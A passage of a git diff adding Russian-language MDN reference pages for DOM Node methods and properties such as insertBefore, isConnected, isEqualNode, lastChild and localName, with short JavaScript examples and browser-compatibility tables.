+// Получаем ссылку на элемент, перед которым мы хотим вставить sp1
+var sp2 = document.getElementById("childElement");
+//Получаем ссылку на родителя sp2
+var parentDiv = sp2.parentNode;
+
+// Вставляем sp1 перед sp2
+parentDiv.insertBefore(sp1, sp2);
+&lt;/script&gt;
+</pre>
+
+<p>Однако нет метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertAfter</span>. Он может быть заменен использованием метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertBefore</span> в связке с <code style="font-style: normal;"><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p>
+
+<p>В предыдущем примере <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp1</span> может быть вставлен после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> следующим образом:</p>
+
+<pre><code>parentDiv.insertBefore(sp1, sp2.nextSibling);</code></pre>
+
+<p>Если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> не имеет следующего элемента, то он будет последним дочерним элементом,  <code style="font-style: normal;">sp2.nextSibling вернет </code><span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, а <code style="font-style: normal;">sp1</code> вставится в конец дочернего узла (сразу после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span>).</p>
+
+<h2 id="Example2" name="Example2">Пример 2</h2>
+
+<p>Вставка элемента перед первым дочерним элементом с помощью <a href="/en-US/docs/DOM/Node.firstChild" title="Node.firstChild">firstChild</a>.</p>
+
+<pre class="brush:js">// Получаем ссылку на элемент в который мы хотим добавить новый элемент
+var parentElement = document.getElementById('parentElement');
+// Получаем ссылку на первый дочерний элемент
+var theFirstChild = parentElement.firstChild;
+
+// Создаем новый элемент, который будем добавлять
+var newElement = document.createElement("div");
+
+// Вставляем новый элемент перед первым дочерним элементом
+parentElement.insertBefore(newElement, theFirstChild);
+</pre>
+
+<p>Когда у родителя нет первого дочернего элемента, <code>firstChild</code> вернет <code>null</code>. Новый элемент все равно будет втавляться после последнего дочернего элемента. Но так как родитель не имеет первого дочернего элемета, то он не будет иметь и последнего. Следовательно, после добавления в него элемента, этот элемент будет единственным дочерним элементом.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-952280727">insertBefore</a></li>
+</ul>
diff --git a/files/ru/web/api/node/isconnected/index.html b/files/ru/web/api/node/isconnected/index.html
new file mode 100644
index 0000000000..aef8cf8ee7
--- /dev/null
+++ b/files/ru/web/api/node/isconnected/index.html
@@ -0,0 +1,87 @@
+---
+title: Node.isConnected
+slug: Web/API/Node/isConnected
+translation_of: Web/API/Node/isConnected
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>The <strong><code>isConnected</code></strong> read-only property of the {{domxref("Node")}} interface returns a boolean indicating whether the Node is connected (directly or indirectly) to the context object, for example the {{domxref("Document")}} object in the case of the normal DOM, or the {{domxref("ShadowRoot")}} in the case of a shadow DOM.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var isItConnected = nodeObjectInstance.isConnected</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("Boolean")}} that is <code>true</code> if the node is connected to its relevant context object, and <code>false</code> if not.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Стандартный DOM пример:</p>
+
+<pre class="brush: js"><code class="language-html">let test = document.createElement('p');
+console.log(test.isConnected); // returns false
+document.body.appendChild(test);</code>
+<code class="language-html">console.log(test.isConnected); // returns true</code>
+</pre>
+
+<p>A shadow DOM example:</p>
+
+<pre class="brush: js">// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});
+
+// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+console.log(style.isConnected); // returns false
+
+style.textContent = '.wrapper {' +
+                       'position: relative;' +
+                    '}' +
+
+                     '.info {' +
+                        'font-size: 0.8rem;' +
+                        'width: 200px;' +
+                        'display: inline-block;' +
+                        'border: 1px solid black;' +
+                        'padding: 10px;' +
+                        'background: white;' +
+                        'border-radius: 10px;' +
+                        'opacity: 0;' +
+                        'transition: 0.6s all;' +
+                        'position: absolute;' +
+                        'bottom: 20px;' +
+                        'left: 10px;' +
+                        'z-index: 3;' +
+                      '}' +
+
+// attach the created style element to the shadow dom
+
+shadow.appendChild(style);
+console.log(style.isConnected); // returns true</pre>
+
+<p> </p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-isconnected','isConnected')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_Браузерами">Поддержка Браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.Node.isConnected")}}</p>
+</div>
diff --git a/files/ru/web/api/node/isdefaultnamespace/index.html b/files/ru/web/api/node/isdefaultnamespace/index.html
new file mode 100644
index 0000000000..941474c135
--- /dev/null
+++ b/files/ru/web/api/node/isdefaultnamespace/index.html
@@ -0,0 +1,34 @@
+---
+title: Node.isDefaultNamespace()
+slug: Web/API/Node/isDefaultNamespace
+translation_of: Web/API/Node/isDefaultNamespace
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Метод <strong><code>Node.isDefaultNamespace()</code></strong> принимает URI пространства имен в качестве аргумента и возвращает {{jsxref("Boolean")}} со значением <code>true</code> если пространство имен является пространством имен данного узла по умолчанию или <code>false</code> если нет.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>result</em> = <em>node</em>.isDefaultNamespace(<em>namespaceURI</em>)
+</pre>
+
+<ul>
+ <li><code>result</code> содержит в себе возращаемое значение <code>true</code> или <code>false</code>.</li>
+ <li><code>namespaceURI</code> это строка представляющая собой пространство имен, на которое элемент будет проверен.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var XULNS = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
+var el = document.getElementsByTagNameNS(XULNS, 'textbox')[0];
+
+alert(el.isDefaultNamespace(XULNS)); // true</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-isDefaultNamespace">DOM Level 3 Core: isDefaultNamespace</a></li>
+ <li><a href="/en-US/docs/Code_snippets/IsDefaultNamespace" title="Code_snippets/IsDefaultNamespace">Code snippets: isDefaultNamespace</a></li>
+</ul>
diff --git a/files/ru/web/api/node/isequalnode/index.html b/files/ru/web/api/node/isequalnode/index.html
new file mode 100644
index 0000000000..3c76678b0a
--- /dev/null
+++ b/files/ru/web/api/node/isequalnode/index.html
@@ -0,0 +1,66 @@
+---
+title: Node.isEqualNode()
+slug: Web/API/Node/isEqualNode
+translation_of: Web/API/Node/isEqualNode
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p> <code><strong>Node.isEqualNode()</strong></code> проверяет, равны ли два узла. Два узла равны, когда они имеют один и тот же тип, определяющий характеристики (для элементов это будет их идентификатор, количество потомков и т. д.), Его атрибуты совпадают и т. д. Конкретный набор точек данных, которые должны совпадать, зависит от типов узлов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>isEqualNode</var> = <var>node</var>.isEqualNode(<var>otherNode</var>);
+</pre>
+
+<ul>
+ <li><code>otherNode</code>: Узел {{domxref("Node")}} с которым надо сравнить.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере мы создаем три блока {{HTMLElement ("div")}}. Первый и третий имеют одинаковое содержание и атрибуты, в то время как второй отличается. Затем мы запускаем некоторый JavaScript код для сравнения узлов с помощью isEqualNode () и выводим результаты.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>This is the first element.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>This is the second element.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>This is the first element.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<div class="hidden">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="id token">#output</span></span> <span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">440</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">2</span><span class="token unit">px</span> solid black<span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> <span class="number token">5</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">10</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">20</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> block<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+</div>
+
+<div class="hidden"></div>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">let</span> output <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"output"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">let</span> divList  <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">"div"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+output<span class="punctuation token">.</span>innerHTML <span class="operator token">+=</span> <span class="string token">"div 0 equals div 0: "</span> <span class="operator token">+</span> divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">isEqualNode</span><span class="punctuation token">(</span>divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span>
+output<span class="punctuation token">.</span>innerHTML <span class="operator token">+=</span> <span class="string token">"div 0 equals div 1: "</span> <span class="operator token">+</span> divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">isEqualNode</span><span class="punctuation token">(</span>divList<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span>
+output<span class="punctuation token">.</span>innerHTML <span class="operator token">+=</span> <span class="string token">"div 0 equals div 2: "</span> <span class="operator token">+</span> divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">isEqualNode</span><span class="punctuation token">(</span>divList<span class="punctuation token">[</span><span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Results">Results</h3>
+
+<p>{{ EmbedLiveSample('Example', 480) }}</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li>{{spec("https://dom.spec.whatwg.org/#dom-node-isequalnode","DOM Standard","LS")}}</li>
+ <li>{{spec("http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-isEqualNode","DOM Level 3 Core: isEqualNode","REC")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/issamenode/index.html b/files/ru/web/api/node/issamenode/index.html
new file mode 100644
index 0000000000..b8050e92d6
--- /dev/null
+++ b/files/ru/web/api/node/issamenode/index.html
@@ -0,0 +1,110 @@
+---
+title: Node.isSameNode()
+slug: Web/API/Node/isSameNode
+translation_of: Web/API/Node/isSameNode
+---
+<div>{{APIRef("DOM")}} {{ Obsolete_header }}</div>
+
+<p>The <code><strong>Node.isSameNode()</strong></code> проверяет ссылаются ли два узла на один и тот же объект.</p>
+
+<div class="note">
+<p><strong>Предупреждение:</strong> Данный метод больше не реализуется в последних браузерах.</p>
+
+<pre class="brush:js">// Instead of using
+node1.isSameNode(node2)
+
+// use
+node1 === node2 // or
+node1 == node2</pre>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>isSameNode</em> = <em>node</em>.isSameNode(<em>other</em>);
+</pre>
+
+<ul>
+ <li><code>other</code> узел для проверки.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалено из спецификации.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Node3-isSameNode', 'Node.isSameNode()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживается от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("9.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживается от {{CompatGeckoMobile("1.0")}} до {{CompatGeckoMobile("9.0")}}.<br>
+    Удалено в {{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.isEqualNode()")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/issupported/index.html b/files/ru/web/api/node/issupported/index.html
new file mode 100644
index 0000000000..0581349b24
--- /dev/null
+++ b/files/ru/web/api/node/issupported/index.html
@@ -0,0 +1,124 @@
+---
+title: Node.isSupported()
+slug: Web/API/Node/isSupported
+translation_of: Web/API/Node/isSupported
+---
+<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
+
+<p><code><strong>Node.isSupported()</strong></code> возвращает {{domxref("Boolean")}} флаг содержащий результат проверки реализует ли реализация DOM определенное свойство и поддерживается ли это свойство конкретным узлом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>boolValue</em> = <em>element</em>.isSupported(<em>feature</em>, <em>version</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>feature</em></dt>
+ <dd>Это {{domxref("DOMString")}} содержащая имя свойства для проверки. Это тоже имя, которое может быть передано в метод <code>hasFeature</code> в <a href="/en/DOM/document.implementation" title="en/DOM/document.implementation">DOMImplementation</a>. Возможные значения определенные в спецификации ядра DOM перечислены в DOM Level 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance">соответствующий раздел</a>.</dd>
+ <dt><em>version</em></dt>
+ <dd>Это {{domxref("DOMString")}} содержащая номер версии свойства для ис проверки.В DOM уровень 2, version 1, это строка <code>2.0</code>. если версия не указана, поддерживает любую версию свойства, вызывает метод и возвращает true.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;div id="doc"&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+ // Получить элемент и проверить поддерживает ли он модуль DOM2 HTML.
+ var main = document.getElementById('doc');
+ var output = main.isSupported('HTML', '2.0');
+&lt;/script&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалено из спецификации.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', '/core.html#Level-2-Core-Node-supports', 'Node.isSupported()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Никаких изменений с {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', '/core.html#Level-2-Core-Node-supports', 'Node.isSupported()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживается от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("22.0")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживается от {{CompatGeckoMobile("1.0")}} до {{CompatGeckoMobile("21.0")}}.<br>
+    Удалено в {{CompatGeckoMobile("22.0")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko-специфичные_замечания">Gecko-специфичные замечания</h3>
+
+<p>[1] Начиная с Gecko 19.0 {{geckoRelease("19.0")}} этот метод всегда будет возвращать true ({{bug("801425")}}) и начиная с Gecko 22.0 {{geckoRelease("22.0")}} этот метод был удален.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Принадлежит интерфейсу {{domxref("Node")}}.</li>
+</ul>
diff --git a/files/ru/web/api/node/lastchild/index.html b/files/ru/web/api/node/lastchild/index.html
new file mode 100644
index 0000000000..6c0f0d9722
--- /dev/null
+++ b/files/ru/web/api/node/lastchild/index.html
@@ -0,0 +1,32 @@
+---
+title: Node.lastChild
+slug: Web/API/Node/lastChild
+translation_of: Web/API/Node/lastChild
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Основная информация</h2>
+
+<p><strong>lastChild</strong> возвращает последнего потомка в узле.</p>
+
+<h2 id="Syntax_and_Values" name="Syntax_and_Values">Синтаксис</h2>
+
+<pre class="syntaxbox">var last_child = element.lastChild
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Возвращаемый элемент <code>last_child</code> является узлом. Если его родитель является элементом, то возвращаемый узел является узлом типа Элемент, Текст, или же узлом комментария. Если в опрашиваемом узле нет дочерних элементов, <strong>lastChild </strong>возвращает <code>null</code> .</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var tr = document.getElementById("row1");
+var corner_td = tr.lastChild;
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li>{{Spec("http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-61AD09FB", "DOM Level 2: lastChild", "REC")}}</li>
+ <li>{{Spec("http://dom.spec.whatwg.org/#dom-node-lastchild", "DOM Standard: lastChild")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/localname/index.html b/files/ru/web/api/node/localname/index.html
new file mode 100644
index 0000000000..2942a8fa66
--- /dev/null
+++ b/files/ru/web/api/node/localname/index.html
@@ -0,0 +1,80 @@
+---
+title: Node.localName
+slug: Web/API/Node/localName
+translation_of: Web/API/Node/localName
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.localName</strong></code> только для чтения, возвращает локальную часть полного имени этого узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>name</var> = <var>element</var>.localName
+</pre>
+
+<ul>
+ <li><code>name</code> это локальное имя в виде строки (для уточнения деталей смотрите {{Anch("Notes")}} ниже)</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>(Должен быть обработан с XML типом содержимого, таким как <code>text/xml</code> или <code>application/xhtml+xml</code>.)</p>
+
+<pre class="brush:xml">&lt;html xmlns="http://www.w3.org/1999/xhtml"
+      xmlns:svg="http://www.w3.org/2000/svg"&gt;
+&lt;head&gt;
+  &lt;script type="application/javascript"&gt;&lt;![CDATA[
+  function test() {
+    var text = document.getElementById('text');
+    var circle = document.getElementById('circle');
+
+    text.value = "&lt;svg:circle&gt; has:\n" +
+                 "localName = '" + circle.localName + "'\n" +
+                 "namespaceURI = '" + circle.namespaceURI + "'";
+  }
+  ]]&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="test()"&gt;
+  &lt;svg:svg version="1.1"
+    width="100px" height="100px"
+    viewBox="0 0 100 100"&gt;
+    &lt;svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/&gt;
+  &lt;/svg:svg&gt;
+  &lt;textarea id="text" rows="4" cols="55"/&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Локальное имя узла, является полным именем узла, которое идет после двоеточия. Полное имя, как правило, используется как часть пространства имен <span id="result_box" lang="ru"><span class="hps">для</span> <span class="hps">конкретных</span> <span class="hps">XML</span> <span class="hps">документов.</span></span> Например, полное имя <code>ecomm:partners</code>, <code>partners</code> это локальное имя и <code>ecomm</code> это префикс:</p>
+
+<pre class="brush:xml">&lt;ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"&gt;
+  &lt;ecomm:partners&gt;
+    &lt;ecomm:partner id="1001"&gt;Tony's Syrup Warehouse
+    &lt;/ecomm:partner&gt;
+  &lt;/ecomm:partner&gt;
+&lt;/ecomm:business&gt;
+</pre>
+
+
+<div class="note">
+<p><strong>Примечание:</strong> В {{Gecko("1.9.2")}} и ранее, свойство возвращает версию локального имени в верхнем регистре для HTML элементов в HTML DOMs (в отличии от XHTML элементов в XML DOMs). В более поздних версиях, в соответствии с HTML5, свойство возвращает, в случае внутреннего хранилища DOM, в нижнем регистре для HTML элементов в HTML DOMs и XHTML элементов в XML DOMs. {{domxref("element.tagName","tagName")}} свойство продолжает возвращать в верхнем регистре для HTML элементов в HTML DOMs.</p>
+</div>
+
+<p>Для узла другово <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node.nodeType">типа</a> отличного от <code>ELEMENT_NODE</code> и <code>ATTRIBUTE_NODE</code> <code>localName</code> всегда <code>null</code>.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-NodeNSLocalN">DOM Level 2 Core: Node.localName</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-NodeNSLocalN">DOM Level 3 Core: Node.localName</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.namespaceURI")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/lookupnamespaceuri/index.html b/files/ru/web/api/node/lookupnamespaceuri/index.html
new file mode 100644
index 0000000000..10899ce8ae
--- /dev/null
+++ b/files/ru/web/api/node/lookupnamespaceuri/index.html
@@ -0,0 +1,18 @@
+---
+title: Node.lookupNamespaceURI()
+slug: Web/API/Node/lookupNamespaceURI
+translation_of: Web/API/Node/lookupNamespaceURI
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Node.lookupNamespaceURI()</strong></code> берет префикс и возвращает пространство имен URI связанное с ним в данном узле, если найден (и <code>null</code> если нет). Устанавливает <code>null</code> для префикса который возвращает пространство имен по умолчанию.</p>
+
+<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имен (т.е., с уставленным тем же <a href="/en/DOM/Node.prefix" title="En/DOM/Node.prefix">Node.prefix</a>).</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-lookupNamespaceURI" rel="freelink">http://www.w3.org/TR/DOM-Level-3-Cor...upNamespaceURI</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/node/lookupprefix/index.html b/files/ru/web/api/node/lookupprefix/index.html
new file mode 100644
index 0000000000..10a92d81af
--- /dev/null
+++ b/files/ru/web/api/node/lookupprefix/index.html
@@ -0,0 +1,16 @@
+---
+title: Node.lookupPrefix()
+slug: Web/API/Node/lookupPrefix
+translation_of: Web/API/Node/lookupPrefix
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Node.lookupPrefix()</strong></code> возвращает {{domxref("DOMString")}} содержащий префикс для данного пространства имен URI, если он присутствует, и <code>null</code> если нет. Когда возможно присутствие нескольких префиксов, результат зависит от реализации.</p>
+
